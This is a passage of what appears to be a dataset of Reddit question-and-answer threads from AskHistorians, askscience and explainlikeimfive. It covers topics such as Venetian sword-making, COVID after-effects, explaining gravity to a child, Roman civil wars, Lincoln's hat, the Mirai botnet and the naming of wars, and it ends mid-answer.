{"q_id": "25785e", "title": "How long would it take to make a sword in Venice ca. 1650 for a talented blacksmith?", "selftext": "Variations ranging from the run of the mill sword to a gift fit for a general would be appreciated. Although it says 1650 any period from 1600-1700 is acceptable.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25785e/how_long_would_it_take_to_make_a_sword_in_venice/", "answers": {"a_id": ["cheg7wz"], "score": [49], "text": ["It really spends on the quality of the metal and how intricate the designs happen to be. To make an uncomplicated short sword of that era, it would've taken around a week. Most of the information provided given the length of sword making is from the medieval/ renaissance ages respectively. I think the best answer would be a month for a long sword, and then any number of weeks for the decorations, depending on how much you add.\n\nThere's some information regarding the reconstruction of many swords on this web page:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://metalsmithing.wonderhowto.com"]]}
{"q_id": "g30j1o", "title": "What do we know of the post-infection effects of Covid-19?", "selftext": "I had (suspected) covid-19 at the beginning of March however at the time the UK were only testing people who had been to China/Italy or had been exposed to a *confirmed* case. \nI wasn\u2019t severe, however had a horrible cough for the duration and a very tight chest towards the end. I was just about ready to return to work when my institution was shut down. \n\nI\u2019ve found that my lungs are still very tight when exercising (like that of an asthmatic) despite no history of this. Is there any evidence for lasting effects?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/g30j1o/what_do_we_know_of_the_postinfection_effects_of/", "answers": {"a_id": ["fnokkf1", "fnouour"], "score": [34, 35], "text": ["Those studies haven\u2019t been published yet. Doctors and researchers are overwhelmed with treating the sick and finding an effective drug. What we know from SARS classic though, and from biopsies, is that in many people the infection results in pulmonary fibrosis. This is different from asthma, which is a disease of the airways, but it would restrict the delivery of oxygen in a similar way. I do not know how well lungs are able to repair fibrotic lesions, in other tissues those are more or less permanent. You hear of long time smokers recovering lung capacity, that should comfort you.", "We know little of the long-term outcomes following COVID-19 recovery, simply because there hasn't been enough time to carry out these studies yet. So anything you hear or read is going to be based in some part on speculation.\n\nThat being said, many patients infected with SARS classic went on to develop permanent pulmonary fibrosis and reduction in lung function. However, these both improved somewhat over time. \n\nSo if SARS classic is any guide, you may see some permanent loss of function if you had severe or critical disease. But if you are currently experiencing a reduction in lung function, that reduction is likely to decrease over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ka92g", "title": "eli3: trying to explain gravity to my three year old niece. i'm failing to explain it to her. can you help?", "selftext": "At the dinner table my bread fell off the table seemingly on it's own. My niece screeches and exclaims \"WHO DID THAT?!\". \n\nI explained that no one did it, that gravity caused it to happen.\n\nWhich has now been three days of me trying to explain to her what gravity is. Apparently I suck at explaining things to children, because I can't quite figure out how to teach something so profound to a three year old (nearly four). \n\nHelp ELI5!!! Please! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ka92g/eli3_trying_to_explain_gravity_to_my_three_year/", "answers": {"a_id": ["cbmwc9b", "cbmwhtj", "cbmx23c", "cbmyogf", "cbmzef6", "cbn42un", "cbn4kuj", "cbn53yt", "cbn8818", "cbn8iqr", "cbnbbqv", "cbnisfl", "cd6p53n"], "score": [2, 23, 4, 2, 6, 2, 6, 2, 2, 2, 2, 2, 2], "text": ["How about showing her a ball rolling down a hill. If you can construct the \"hill\" yourself so it's adjustable, that's even better. Because you can show her that even with a very tiny hill, the ball will roll down it.\n\nThe bread that fell off the table really just rolled downhill. It doesn't roll very well, because it's not ball-shaped. And the \"hill\" was very tiny, perhaps a little bump in the tablecloth or something similar.\n\n(Note that I haven't used the word \"gravity\" at all. I've just related the bread falling off the table to other things which she already knows and understands.)", "You are likely making it to profound. When you drop things they fall down.  The earth wants to pull everything towards it, so everything always wants to fall down. (she might ask why)  Because things that are VERY VERY BIG like to pull on everything that is around them.  (She might ask why again) It's a law of nature, Gravity pulls things towards the earth centre of the earth because the earth is so big.  Don't make it to complicated, just try to keep it at her level and then move the conversation to a topic that is more at her level of understanding.  Like discussing how big the earth is and what a planet is and so on.  Gravity is abstract enough that all she needs to know right now is that things fall ween dropped.", "Three year olds are used to learning about the world by interacting with it. They don't have the ability to process a lot of abstraction, so explaining things in a way that requires good visualization and background knowledge is probably not going to be very satisfying for her.\n\nInstead, engage her sense of wonder and fantasy. Don't lie to her about anything, but instead leave her with big questions about how things work and show her how to start investigating them.\n\nGet a helium ballon (don't use helium generally if you can help it b/c of the shortage, but this is ok b/c science). Tie a small rock to it and wrap twist ties around the bottom of the string until you get it to just float.\n\nShow her that no one knows why gravity works the way it does. It loves to pull on some things but not on others. Cut the balloon string just above the rock and show her how gravity pulls the rock but repels the balloon up to the ceiling. (Leave as much string as possible because she'll probably want you to repeat it a bunch of times.)\n\nThen show her how floaty toys can be held underwater, but as soon as you let go, it shoots to the surface because gravity repels it. Show her how the floaty toy underwater is just like the balloon, and the surface of the water where the floaty toy stops being repelled by gravity is the same as the ceiling where the balloon hits and stops being repelled.\n\nBasically, you set up a bunch of scenarios that have a similar behavior and point out the behavior, but explain that no one knows why gravity works this way and she can be a famous scientist if she can figure it out.\n\nIt also helps a lot if you pretend not to know very simple things along the way that you know she knows and you make her explain them to you. Intentionally misinterpret her words when she leaves loopholes and see if you can get her to close them.\n\nIt also helps to go wrong a lot, and then prove that it's wrong. For instance, when you cut the balloon string and the rock falls and the balloon goes up, explain that the balloon goes up because it's attached to magic string. Then demonstrate this by saying, I know the string is magic, because if I cut it close to the balloon, and there's barely any magic string left, then the balloon will get pulled down. Then when you cut it and the balloon still floats up, act embarrassed and try to force the balloon back down to the ground to prove what you were saying is true. This not only teaches her ways of testing out a hypothesis, but it prepares her for how her real life scientists try to cover up their mistakes because of ego. :-)", "Things fall towards massive objects.", "Do an experiment with her using a piece of paper.\n\nFirst put the paper on a table and push it, then ask her what moved the paper, she will probably say it was you. Then go and blow air on the paper to push it and ask her what moved it. It will depend on her answer but explain to her that it was air that moved it, granted you made the air by puffing up your cheaks but what touched the paper and moved it was air.\n\nTake the paper and drop it and asked her what caused the air to fall. Let her know that it was gravity that \"grabbed\" the paper and had it fall until the ground stopped it. Granted we can't see gravity but we can't see the air move the paper. Hopefully explaining it to her this way will help her understand what gravity is.", "You can't properly explain gravity because even science has yet to properly explain it. \n\nThe best thing to tell her would be that Gravity pulls things toward each other, and bigger things pull harder than smaller things. We all stick to the Earth because it's so big and we're so close to it. \n\nIf she asks why then you can explain that no one has really figured it out yet. It might be something that makes her more interested in science in the future!", "I may be wrong....but this is the explanation that has made the most sense to me. \n\nImagine you place a heavy bowling ball on a mattress.  The mattress will naturally sink in the area that the bowling ball was placed.  Now, if you place another smaller ball near the bowling ball, it will roll toward it because the depression the bowling ball creates.\n\nPretend that the mattress is space, the bowling ball is the Earth, and you and everything else on Earth are little balls.  We are attracted to the Earth because it is so big compared to us.\n\nTo take the analogy one step further: Imagine a bigger, heavier object placed on that same mattress.  Everything on the mattress will now move (gravitate) towards the bigger, heavier object because the depression it made on the mattress is deeper.  This is why the Earth (which is pretty big to begin with) rotates around the Sun (which is humongous big compared to the Earth)\n\n", "This is from a Cracked article I think.\nGravity is a force caused by the FSM placing his noodly appendages upon us in order to hold us firm to the ground, less we float off to heaven before our time and harsh his mellow. This also accounts for the increase in global average height of the last few centuries. The higher our population, the less noodly appendages to go 'round.", "i'd think at 3 she's too young to understand the concept of gravity. \n\nit seems like the explanation could be \"it must have rolled off the table when we weren't looking... like this!\" then put a marble on an angled surface and turn around before if falls to the ground.", "Gravity is one of the four fundamental forces. Every object with mass experts a gravitational force on other objects with mass. While minute at a smaller scale, when dealing with massive celestial bodies, it becomes a force of attraction that pulls other objects to the mass.", "Your niece I believe is a very smart girl for asking that question.\n\nSometimes the smartest people are not the ones with answers but those who asked the right questions.\n\nAnd if you believe the Newton story asking why does food fall down is probably the smartest thing to do.", "\"Everything is attached to Everything else\"\n\n...but most times we are stronger than Gravity unless the object is very Big.", "Use magnets for a visual demonstration.The bigger something is the more stuff is pulled to it like metal is pulled to a magnet. The planet is big so it pulls everything we can see is pulled to it, and even stuff we can't see like air. Now the magnet is small and it only pulls metal but the world is big and it pulls everything.  \ngiven her age i wouldn't go into solar gravity and planetary movement so you don't give her nightmares about falling into the sun or anything. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7186bm", "title": "Reading about ancient Roman history I've realised they had a ton of civil wars. Did more Romans die from civil wars or against foreigners?", "selftext": "The triumvirates, the social wars, the third century crisis, etc. had tons of Romans killing one another. While many wars against foreigners often had relatively few Roman casualties. Is it probable that more Romans died fighting amongst themselves than against foreign powers? Is it even possible to know?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7186bm/reading_about_ancient_roman_history_ive_realised/", "answers": {"a_id": ["dn8xkem"], "score": [2], "text": ["I've seen this question asked before but it has never been sufficiently answered, and I don't think it can be. The long story short is: we don't know. \n\nRoman civil wars were massive, and in a span of 1900-2200 years of History (depending on what dates you pick) they did have more civil wars and usurpations than any other civilization, except maybe for China. The largest battle in Roman history is believed to be the Battle of Philippi - allegedly 223,000 men vs. 187,000 men. Most of Rome's civil wars were like this - Bedriacum (69), Adrianople (324), Mursa (353), etc.\n\nHowever, the Romans spent far more time fighting incursions than they did themselves. The infamous battle of Cannae allegedly saw around 50,00-70,000 killed, according to Livy and Polybius respectively. Attila's devastating victory at the Battle of the River Utus is said to have destroyed three field armies - probably around 75,000 men, and a significant chunk of the Danubian Limes went with it, for example. (See Williams and Friell, \"The Rome that Did not Fall,\" basically all of Chapter 7). The casualties from his invasion of the Balkans may have well rivaled some of Genghis Khan's numbers, but we really don't know.\n\nIn reality the number is going to be skewed by sourcing - sources for the Civil Wars of Rome are often far more detailed, particularly for the Principate and Late Republic, than they are for sources about how many Romans were slain in the rather unusual defeat surffered at the hands of barbarians. Adrianople, one of the most infamous, may have only seen 20,000 men slain. Yet also by comparison, most of the 187,000 man army at Phillipi surrendered, and was not slaughtered.\n\nIt's a question that can't properly be answered, although someone with enough time and dedication might be able to come up with a rough guess based on what is known. I know of no author who has ever attempted to do so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "vhbib", "title": "chron's disease", "selftext": "Mostly, I want to know what the symptoms are and what the pains like, and how people treat/manage living with this illness.\n\nJust, whatever you know, please! I've tried mayoclinic and webmd and google searches but I just get long lists or complicated descriptions about what actually happens inside the body of someone who has this disease.\n\nBasically what I want to know is **TL;DR** \nWhat's it like living with Chron's disease?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vhbib/eli5_chrons_disease/", "answers": {"a_id": ["c54hycn"], "score": [2], "text": ["My dad has Crohn's. He was diagnosed when I was pretty young, so this is how he explained it to me; the colon, instead of gently massaging food through your body properly, becomes inflamed easily causing pain and irritation. Eventually the repeated inflammation caused scar tissue to build up and block the colon. This happened with my dad on a major scale. He had to have most of his colon removed and now lives a fairly normal life with a colostomy bag. He eats almost anything he wants (except mushrooms... weird?) and lives with hardly any pain.\n\nAs far as how people treat and manage it; there is no cure, but with anti-inflammatory medication and steroids its possible to manage the pain pretty well. My dad always said certain foods made his stomach hurt worse than others, and I suppose this would vary on a person to person basis. Being on a healthy diet is helpful. Healthy foods are a lot easier on the digestive tract than fast food, certainly! I hope this gives you some of the answers you are looking for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2s4dnf", "title": "what happens to all of the props and costumes of a movie once it is completed?", "selftext": "I was thinking about it when finishing Saving Private Ryan", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2s4dnf/eli5_what_happens_to_all_of_the_props_and/", "answers": {"a_id": ["cnm2ztc", "cnm38xd", "cnm3nh9"], "score": [16, 8, 3], "text": ["Some are sold. Some that are rare are given as gifts. Others are saved to be used in other movies.", "*A LOT* of props and costumes are rented from movie supply companies. At the end of the production, those items are returned to the rental companies to be made available for rental for other movies. If there are unique items created, the production companies either save them for future possible productions, or sell or give them away.\n\nIn terms of \"Saving Private Ryan\" those military uniforms, guns, etc... were most likely rented from a movie prop/costume company that specializes in military props and returned when done.", "I have a friend who worked on the show Spartacus. She told me that some of it is sold but most gets destroyed and/or thrown it. She said it's the most wasteful industry. The studios don't want their unique design being used on other productions. It's not uncommon for backstage people to grab stuff from the dumpsters to keep. She worked in makeup and effects and got a whole load of high-quality unused fabric."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2l7m1l", "title": "Are there any bodily functions that are dependent on gravity?", "selftext": "Does my body work the same without gravity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2l7m1l/are_there_any_bodily_functions_that_are_dependent/", "answers": {"a_id": ["cls8nik", "clsa5s3", "clsehn6"], "score": [16, 4, 13], "text": ["There was a post recently that said that your sensation of the need to urinate doesn't work the same in zero G. Normally you feel an urgent need to urinate when your bladder is one third full. In space, astronauts found they didn't get that sensation until their bladder was almost entirely full, making for some massive evacuations when they finally did go. ", "Equilibrium is one of the few functions I can recall that is dependent on gravity. Let me tell you how it works with an analogy:\n\nImagine you have a hollow sphere partially filled with a liquid. With the gravity \"on\" the liquid would be sitting on the bottom. Now, lets give the sphere an orientation: pick a point and call it up, you can paint a dot on the sphere in your mind. Now, if you rotate and spin the sphere, you can see that it is possible to tell in which direction \"up\" is heading and that the liquid is always being pulled by gravity.\n\nEquilibrium in humans works similarly to this: inside a chamber partially filled with liquid, the walls of the chamber have sensors that are excited when the liquid presses against them, in this way your body knows where you are heading. [Here](_URL_0_) you can see an image that will help you understand this concept.\n\nAlthough this isn't the only thing helping your equilibrium -eyes and the perception of yourself in space play an important tole-, it contributes greatly to it.\n\nImagine the same sphere from above, but now gravity isn't pulling. The fluid could be heading anywhere or would be still at the center. The same goes for equilibrium.\n\n**TL,DR:** equilibrium occurs inside the ear, it involves sensitive cells and a fluid that presses them, the force of gravity is pulling the fluid, thus, without gravity a part of your sense of equilibrium would be lost.", "There's a few things I can think of caused by a lack of gravity.  One is that your vascular system is designed to pump blood up against the force of gravity, so in zero-g it overcompensates and more blood goes to your head/less to your legs; your head swells up a bit and your legs get skinnier (other fluids are affected similarly, and having stuffed-up sinuses causes degradation of your senses of taste and smell).  Another is burping to remove gas from your stomach; in a gravity field, the non-gas stomach contents are all sitting on the bottom of your stomach, but in zero-g it's all floating around and you get nasty acid reflux if you burp.  Carbonated beverages are a bad idea in space, regardless of how much effort Coca-Cola put in to design a working space-grade Coke container.  Your digestive system still works fine, however; [peristalsis](_URL_2_) works regardless of gravity's presence or absence.  \n\nAnother is that our bones remodel themselves to maintain constant strain energy per bone mass, which means that the low forces they experience in space causes serious bone density loss ([\"spaceflight osteopenia\"](_URL_1_)); there's also muscle loss for similar reasons.  The muscle and bone loss in particular are nasty if you're planning on returning to a gravity field at some point.  A similar sort of acclimation occurs with the fluid imbalance; after enough time in microgravity your body stops shoving all the fluids in your body upwards, but then if you go back to Earth you can have trouble standing upright without fainting because your heart isn't pumping hard enough to make sure blood gets to your brain against the force of gravity.  \n\nThe [Wikipedia article](_URL_0_) has a pretty decent summary of these.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://bio1152.nicerweb.com/Locked/media/ch50/50_11EarEquilibrium-L.jpg"], ["http://en.wikipedia.org/wiki/Effect_of_spaceflight_on_the_human_body", "http://en.wikipedia.org/wiki/Spaceflight_osteopenia", "http://en.wikipedia.org/wiki/Peristalsis"]]}
{"q_id": "4pylgn", "title": "The (US) founding fathers gave us a list of constitutional rights. What was corruption like in politics at the time? Were there any corrupt politicians that might have influenced the wording of the constitution to fulfill selfish agendas?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4pylgn/the_us_founding_fathers_gave_us_a_list_of/", "answers": {"a_id": ["d4p73tg"], "score": [95], "text": ["Your question contains two assumptions that need to be corrected before we get started, and those two assumptions contain your answer, I think. :)\n\nFirst, let's explain that the list of constitutional rights, the *Bill of Rights* is a separate document from the Constitution itself. At the time the Constitution was drafted and put to the states for consideration, there were two significant political factions in the United States: the Federalists and the Anti-Federalists. The Federalists believed in a strong central government and discouraged democracy. They believed that a true democracy would be vulnerable to populism and mob rule. Therefore, they wanted a strong state, more like the ones in Europe, but with a republic instead of a monarchy. These were men like Alexander Hamilton, John Adams, and George Washington.\n\nThe Anti-Federalists took the opposite tack. They believed that personal liberty and personal rights should be paramount, and that state and local governments should be strong, not the federal government. They believed the problem with European governments wasn't that they were monarchies, but that they had strong central governments with large armies and bureaucracies. These were men like George Mason and Thomas Jefferson.\n\nWhen the Constitution was proposed, it was opposed by Anti-Federalists concerned that the government it created was too similar to European-style despotism as it existed at the end of the 18th century. Anti-Federalist sentiment was so strong that it threatened the implementation of the Constitution. Without modifications, not enough states would approve the Constitution, and it would not become law. This is why the Bill of Rights was created; it was a compromise intended to ensure passage of the Constitution. The Constitution came first, and the Bill of Rights came later, and so the two should be considered separate items with separate influences and separate origins.\n\nNow, let's talk about the second assumption: that \"corruption\" means the same thing today as it did in the 18th century.\n\nLet's consider the Federalists, who won the first three U.S. Presidential elections and held control of Congress for much of that period. The Federalists (and it'd be inappropriate to call them a political party, so let's call them a movement) came from the belief that *disinterested* government was the best government. The ideal politician, they believed, was an elite individual educated to understand the issues and able to consider each one in a detached way. This meant political representation from an *aristocracy* of educated, landed people whose income was assured via rents, inheritance or other, similar means. Because these people didn't have to worry about earning money, they wouldn't have to worry about their financial affairs affecting their votes. They would be able to consider matters dispassionately and render impartial laws. The new government wouldn't even have to pay salaries to politicians and office-holders because they would be expected to support themselves through their existing income.\n\nThe problem with this approach, of course, is that by assigning representation to a small aristocracy, you create a very *unrepresentative* government. Aristocrats do not have the same wants and desires as someone who works for a living, and they move in a select circle. They're prone (as Hamilton's dealings with the Bank of the United States showed) to making deals within that select circle. Because they believe that non-aristocrats are subject to improper influences, they're prone to awarding contracts and making arrangements only with other aristocrats. Because of their strong-held beliefs in impartiality and neutrality, the early Federalists corrupted the system toward other Federalists.\n\nThe problems this created were quickly apparent. After the French Revolution began to disrupt European commerce and industry, America profited enormously. Americans, particularly those in the shipbuilding and trading fields, reaped huge profits, and the new nation's population boomed through immigration and new births. Thus, the aristocratic sliver of the United States shrank, proportionally, and the idea of an elite republic started to falter in Washington's second term. \n\nThe Republicans, who succeeded the mantle of the Anti-Federalists, desired a *representative* republic with delegates drawn from the \"middling sort\" of merchants, manufacturers and tradespeople. This was a toxic idea to the Federalists, particularly after the French Revolution spawned the Great Terror and seemed to show the critical danger that Republican ideals could bring. \n\nAs we know, however, Republican ideals won out. Federalist moves like the Alien and Sedition Acts backfired tremendously, and Thomas Jefferson swept into office in 1800 with a huge Republican majority in Congress.\n\nThe American government had, in the eyes of Federalists, been completely \"corrupted\". Now, politicians would be vulnerable to outside influence because they didn't have the ability to support themselves without working. Even worse, they would actually listen to their constituents and instead of governing impartially and disinterestly, they would be prone to the ebb and flow of \"popular opinion,\" which became a term for the first time. Instead of being nominated for office as a prominent member of the community, politicians would have to campaign for office, pledging and offering favors.  \n\nThis period of American history is incredibly fascinating; it's like a boiling pot. I really suggest picking up some of Gordon Wood's books if you're interested in the topic. *Empire of Liberty* and *The Creation of the American Republic* are a great pairing if you're starting out. Don't be intimidated by their size. They read easily, and they're wonderful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3s4uow", "title": "Was Pres. Lincoln's stovepipe hat in fashion while he was president?", "selftext": "I know he adopted that hat as his signature look as a gimmick to be the tallest dude in any 100 mile radius, but he always seems to have been able to buy a new one of these hats in town without much fuss. Was it a fashionable hat, or at least a common one, during his political life? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3s4uow/was_pres_lincolns_stovepipe_hat_in_fashion_while/", "answers": {"a_id": ["cwu8sv6", "cwun16d"], "score": [12, 2], "text": ["Yes, it was in fashion.  Lincoln's hat was just a top hat, and it was worn by many presidents.   Top hats were worn generally by the upper class and had silk lining, you can even see JFK at his inaguaration wearing one.  [Here is an image of JFK and Ike rocking some top hats.](_URL_0_) Lincoln's signature stovepipe hat can be thought of as a good example of branding in politics.   I don't want to break the twenty-year rule of this sub by bringing up other political apparel (Trump's hair, to be fair, has to be at least that old) but a politician with a signature look can help make them memorable.    I can't remark specifically about the *length* of his hat, but they were custom-made silk top hats worn by upper-class males.  The black band he wore around the hat was put on in mourning for his son Willie.  [He was known to carry papers in his hat, as well.](_URL_1_)", "Top hats of one sort of another were considered an essential part of men's formalwear through the 19th century and continued be used into the 1940s and 1950s.  That said, the exact style, shape, and construction of top hats changed over time.  \n\n\"Stovepipe\" top hats of the 1850s and 1860s tended towards a taller shape with straighter sides.  \n\n[This photograph](_URL_0_) shows a \"stovepipe\" top hat of the 1860s similar to the sort that Lincolcn was known for.  Notice the wide band and the nearly uniformly straight brim.\n\nLinclon, being uncommonly tall, looked rather better in a 8-inch tall top hat than most people might have.  This page has a photograph of the actual top hat President Lincoln was wearing when he died: _URL_1_  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://latimesblogs.latimes.com/.a/6a00d8341c630a53ef0148c7c12899970c-pi", "http://americanhistory.si.edu/blog/closer-look-president-lincolns-silk-hat"], ["http://www.victoriana.com/Mens-Clothing/images/mens_hats-15.jpg", "http://www.civilwar.si.edu/lincoln_tophat.html"]]}
{"q_id": "4jahxl", "title": "why do people claim to know how many illegal immigrants are in the united states?", "selftext": "If someone is illegal, there's no documentation on them, right?  I realize the numbers are estimates, but I can't imagine how these estimations are even close if there isn't any hard data.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jahxl/eli5_why_do_people_claim_to_know_how_many_illegal/", "answers": {"a_id": ["d3526bc", "d3526yf"], "score": [3, 14], "text": ["Just because they have no citizenship/residence/entrace documentation does not mean they are not documented in other ways. They often are, because there are many ways people can engage in a society and economy without being legal residents.", "There are multiple ways to estimate the illegal population. These include economic impact, public service usage, population samples, the census, and migration tracking.\n\nEconomic impact looks at levels of spending and the flow of money to determine the population involved in the economy. We can compare this to the documentation we do have to find who is missing. We can also use this method to determine the black market size and under the table economy sizes, these are how illegal immigrants are paid.\n\nWe can also use data on public service usage to estimate size. Hospital visits, public school enrollment, and arrests all alow use to sample the population.\n\nPopulation samples, the census, and migration tracking are forms of mass and local data collection taken on by the government. The data collected can be compared to know populations and communities to adjust for errors such as non-reporting by the population themselves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "59g4s4", "title": "what is the mirai botnet and how could we protect the internet from it?", "selftext": "Recently I've been reading on Reddit about the Mirai botnet that has been used to attack major parts of the internet and even knocked Reddit offline for a bit.\n\nCan anyone explain what's going on here and what we could do about it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/59g4s4/eli5_what_is_the_mirai_botnet_and_how_could_we/", "answers": {"a_id": ["d98a9ix"], "score": [2], "text": ["The interesting bit here is the focus on IoT devices as a potential new source of devices to compromise. IoT (Internet of Things) devices are normal everyday appliances that are smart enough to connect to the internet. Like a coffee pot controlled via wifi or a smart fridge.\n\nThey are growing in popularity and are tiny computers that could be quite useful if a hacker could get them to run some code. The point of DDOS is to get a whole lot of small devices each sending a little bit of data to overwhelm your target and keep it from handling legitimate requests. \n\nMirai and Hajime focus on these IoT devices. They do it by exploiting hard-coded default username/password combinations to log into these devices. They then download a small program onto the device that does the dirty work of carrying out the attack. \n\nThese guys go into some detail. The difference between mirai and hajime is the \"payloads\" are stored like torrent files instead of on a central server that can be taken down so the whole network is more resilient.\n\nYou could harden IoT devices by turning off these admin interfaces or using something more robust like certificates and ssh. That would kill the current flavor of mirai and hajime dead.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf"]]}
{"q_id": "cccxnu", "title": "why do current or recovering alcoholics or drug addicts have that 'look' to them that makes it apparent they have used and abused drugs for a long time?", "selftext": "I mean no offense to those who are either struggling with issues such as alcoholism or recovering from drug problems by asking this question. \n\nI'm just curious as to why you can almost always tell that someone has abused drugs like alcohol for a long time by the way they look. Such things like rough skin, oddly shaped faces and often times very apparent hair loss.\n\nWhat causes a person that used to look healthy and average to change physically? and why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cccxnu/eli5_why_do_current_or_recovering_alcoholics_or/", "answers": {"a_id": ["etm0ueo", "etm1823", "etm1apc", "etm1g1y", "etm4br1"], "score": [15, 16, 18, 11, 7], "text": ["What a lot of people don\u2019t understand is that there are plenty and plenty of functional alcoholics/addicts everywhere you go. It isn\u2019t actually the alcoholism/addiction that is degrading their body, it\u2019s just that those specific addicts do not/did not care enough to take care of their body.", "Drug and alcohol addiction is a way more nuanced issue than your extreme examples, but the simple answer is a combination of long term dehydration, undernourishment, lack of sleep, organ disease/failure, and cellular damage.\n\n & #x200B;\n\nedit: and a long term disregard of personal hygene (ie meth-mouth)", "People who are most certainly NOT alcoholics also have that look. Bullied, stressed out, overworked, starving, NEW PARENTS (you don't get sleep until they're about a year old) I got bullied working at wal mart because I look tired and my sciatica is flaring) I ended up quitting.", "Your body can't take care of itself when you don't eat much (or only eat $1 menu bullshit) becaus you're spending all your money on dope. For example, meth addicts have fucked up teeth cause the meth eats through them and they don't brush enough. They're skinny cause the meth suppresses your appetite so much that you can go days without eating. All of that takes a toll on your body.", "Being in AA for a few years, sure a few of them do, but most people with some sober time look completely normal. I would chalk this up to you knowing the people were drug addicts. There\u2019s plenty of people out there you would never guess had any problem, who actually had crippling cocaine/alcohol/etc. addictions. It\u2019s amazing how much better you can look at when you have your shit together. I\u2019m also willing to bet the people you are referring to are either still using or  are newly sober."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "36np9k", "title": "why does sports get is's own special segment in the news?", "selftext": "Isn't there more important thing that people need to know?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36np9k/eli5_why_does_sports_get_iss_own_special_segment/", "answers": {"a_id": ["crfl03n", "crflyuh", "crft830"], "score": [2, 3, 2], "text": ["You actually have two, separate questions!\n\nFirst:  Why is sports even on the news? \n\nAnswer:  Because many people want to watch sports news, and TV stations want people to watch their channel.  That's it. \n\nSecond: Why is sports in it's own special segment? \n\nAnswer:  First - same reason \"weather\" and \"local news\" and \"international news\", etc. are all often in special segments:  It makes it easier for people to see the topics they are interested in, and people naturally like to organize stuff.  Second - more than other subjects, sports has a lot of people *very* interested in it, and a lot of people very *not* interested in it.  So it makes especially good sense to have in its own segment, so some people can be certain to catch it, and some people can more easily skip it.  \n\n ", "Because sports belongs to leisure and sport's news are different from \"serious\" news about politics, international conflicts etc. Sports is also a dose of culture and science for an average viewer. It dominates the public culture and it also is a place where the public practices their \"science\" (explaining tactics, predicting results, discovering conspiracy theories etc.). As a block of \"leisure time\" news which, at the same time, satisfies the public need for sports and \"science\" (or magic), it should have its own slot.", "My question is \"why does sports *still* get it's own special segment in the news?\"\n\nIt seems kind of outdated. With the internet and mobile technology, I don't even need to necessarily watch the sports I like, to know exactly what happened during the game, almost in real time.\n\nI'm a huge NFL fan, and by the time the news comes on, I already know everything that happened. The news barely even covers anything either. They'll show a few highlights from a few events which I've undoubtedly already seen several times. For real sports news I either rely on the internet or certain sports dedicated TV networks like ESPN or the NFL Network.\n\nIt just doesn't make sense to have generic sports coverage on \"the news\" anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8g74iv", "title": "why do prominent conservatives mps keep standing with their legs awkwardly far apart at important photo ops?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8g74iv/eli5_why_do_prominent_conservatives_mps_keep/", "answers": {"a_id": ["dy9d87y"], "score": [2], "text": ["Practical joke by the PR company they hire, I reckon. It's like that episode of Blackadder where Prince George has to keep adjusting his stance.\n\nLike the stupid thumb thing they do which is supposed to mean integrity or some shit, but what it actually does is make me turn off to whatever they're saying because the whole facade has clearly been stage-managed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "271us5", "title": "Is there a particular taxonomy for the naming of wars between two countries? Why \"Russo-Japanese War\" and not \"Japano-Russian War\" for example?", "selftext": "I'm not even sure \"Japano-\" is the right prefix, but there it is. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/271us5/is_there_a_particular_taxonomy_for_the_naming_of/", "answers": {"a_id": ["chwqdmp"], "score": [25], "text": ["I don't believe there is any set standard- rather, it's determined more by popular usage in the aftermath and the angle which people in a given country wish to put on it. For this reason, many wars have various names.    \n\nFor example, we today would generally refer to the American Civil War as just that. However, there are other names in circulation present a different viewpoint. Calling it the 'War Between the States' casts it more as a conflict between two polities (thus validating the CSA's claims to nationhood) than as an internal conflict within the U.S. Taking things even further, the name 'War of Northern Aggression' presents a very strong pro-Southern viewpoint, part of the veneration of the 'Lost Cause' that persists today. Clearly, opposing sides of a war may use very different terms to refer to it.\n\nWhat about third-party names? The Second Sino-Japanese War (the WWII-era Japanese invasion of China) is known as such in English, but what about Japanese and Chinese? During the war, the Japanese called it the China Incident, a term which is sometimes still used today, but is of course loaded with tension, especially in light of the still-fraught relationship between Japan and China. In China, it's called the War of Resistance against Japan- very clear-cut. What's interesting is that, in the West, it's called the 'second' war, thus linking it with the first Sino-Japanese war, a connection that's really isn't made by either Japan or China. One reason for this is that the first war was fought against the Qing Empire, not the Republic 